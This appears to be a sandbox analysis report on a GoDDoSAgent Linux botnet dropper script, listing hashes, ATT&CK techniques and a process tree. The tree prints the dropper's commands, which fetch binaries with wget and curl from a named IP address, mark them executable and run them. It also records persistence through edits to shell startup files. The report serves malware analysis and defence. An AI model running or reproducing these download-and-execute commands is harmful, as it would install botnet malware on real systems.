goddosagent | 5c107b54a0d4829dcb5ea0618217b69b28659902a629be2ec3967f49e13b48a6

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 16:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample261003-tgvpcasblf
SHA256 5c107b54a0d4829dcb5ea0618217b69b28659902a629be2ec3967f49e13b48a6
MD5 d37de4f012d5ae3b5bde887bace585a4
SHA1 8c3b092d69b93df40a3e30eb3ab345cc46f288f9
SHA512 46802c7068834d4d3ee2ecd50c09ecf8d0d5fb6497775a88d738065beb80630c55bfe2fe660ac51428b2a5202b4ee78b9ea1a7506638b430e9db9cc36b09e870
TLSH
T16E41EA8BA2A045F785099DC5F35414C0F1AE46CFF172CFFDB46896A2195E22CF59AB30
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery goddosagent persistence privilege_escalation

Malware Config

Signatures

Family: GoDDoSAgent
GoDDoSAgent is a Linux botnet written in GoLang.
botnet goddosagent

Detects GoDDoSAgent 3 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_goddosagent
behavioral2/files/fstream-5.dat	family_goddosagent
behavioral2/files/fstream-7.dat	family_goddosagent

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
788	chmod
795	chmod
806	chmod
682	chmod
687	chmod
771	chmod
781	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/x86	683	bins.sh
/tmp/x86	688	bins.sh
/tmp/i386	772	bins.sh
/tmp/i386	782	bins.sh
/tmp/amd64	789	bins.sh
/tmp/amd64	796	bins.sh
/tmp/arm	807	bins.sh

Creates/modifies environment variables 1 TTPs 3 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm
File opened for modification	/etc/profile	arm

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/test_write	arm
File opened for modification	/usr/bin/sysd	arm

Modifies Bash startup script 2 TTPs 3 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	arm

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/meminfo	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	arm
File opened for reading	/proc/stat	arm

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:653
- /usr/bin/wget
  wget http://185.213.240.64/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:655
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/x86
  ./x86
  2⤵
  PID:683
- /bin/rm
  rm -f x86
  2⤵
  PID:685
- /usr/bin/curl
  curl -O http://185.213.240.64/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/x86
  ./x86
  2⤵
  PID:688
- /bin/rm
  rm -f x86
  2⤵
  PID:690
- /usr/bin/wget
  wget http://185.213.240.64/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/i386
  ./i386
  2⤵
  PID:772
- /bin/rm
  rm -f i386
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://185.213.240.64/i386
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/i386
  ./i386
  2⤵
  PID:782
- /bin/rm
  rm -f i386
  2⤵
  PID:784
- /usr/bin/wget
  wget http://185.213.240.64/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/amd64
  ./amd64
  2⤵
  PID:789
- /bin/rm
  rm -f amd64
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://185.213.240.64/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/amd64
  ./amd64
  2⤵
  PID:796
- /bin/rm
  rm -f amd64
  2⤵
  PID:798
- /usr/bin/wget
  wget http://185.213.240.64/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/arm
  ./arm
  2⤵
  - Creates/modifies environment variables
  - Write file to user bin folder
  - Modifies Bash startup script
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:807

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 5.1MB
SHA256 2811db9292f37f6c57e2ccebcee80535145b40ee4bcae22e44c28127c83443bd
MD5 1abb60890c99252961a8fd75b183ec35
SHA1 5188a0b1443f8910e9c344b2b1fd7782fa169a6b
SHA512 5842e670caa88aaf3b74b80067bab29d46ad0bb1665562735fbb125e8cecff4021236cea0832dcb38d2da3d4d36f63edaf32b7bc89fc45779684517a2818e967
SSDEEP 49152:frmnUMcYEjEPsaqV95vf5d+IIEQmWfRFRJqs45EZPnLECXSS0PwKEIQ20:AbEaA9BfGfRFKEBfp046y
TLSH
T101364B07ECA545E9C0AED63486629253BB71BC485B3427D32F60F7382F76BD0AA79740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.9MB
SHA256 6a9667b46479cc993b98542d211c845ce055b06f4bb47b5555749a20bccf589e
MD5 8431d1679d8a112e0487337024a5b2e7
SHA1 db7b0148b35a3f2a5b9ecb8133f2a27ccb1c04fe
SHA512 9805dd9aad5f99ec07f608a9001ef04299911a501691fe77e64c449d2461aed2a730fded9c5eff42f6fe4f759e182cfa4c4d1a93868b4a01d38f5c2598e1d8b6
SSDEEP 24576:fCxsisp/Z+SMe+AxB0UNCtFMI/josPVh1fatwvLUWEVj5bDWuVD0NCy5zSzZmOcs:JpAGBYaegou9ig76jXyBWMx
TLSH
T1D5361A97B8814A83C4E43637BCBD81C433A74EB99B9752666D04FE3C3ABE5990E35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.9MB
SHA256 c56cc6910fb65195d43496ded00712f9f69a2c9fa9f91016f8b175e030b47850
MD5 3219b247a2dd0303e4e710f569ea2770
SHA1 f7daee87125fae31e1f86f578e0e35ce34acc97f
SHA512 54cef3d266c088969a80d0468e9ef3ae997f395c308cf8d44f84c990a610bc27007630d84b62e3e685e1e1a62853a231857d3b88adfad856e823261333a216bd
SSDEEP 49152:+PcG1dt6FBxV5i/WZzFlDpJnchvW5WTYNjVmzyM+WtSM/5aINoprhTMnAbDO:GcG1X6lDDzhvmzyRTG
TLSH
T19A361950FACB04F6E5431E3018BBA26F67315D098B24EBD7EA507F69F977692193220C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads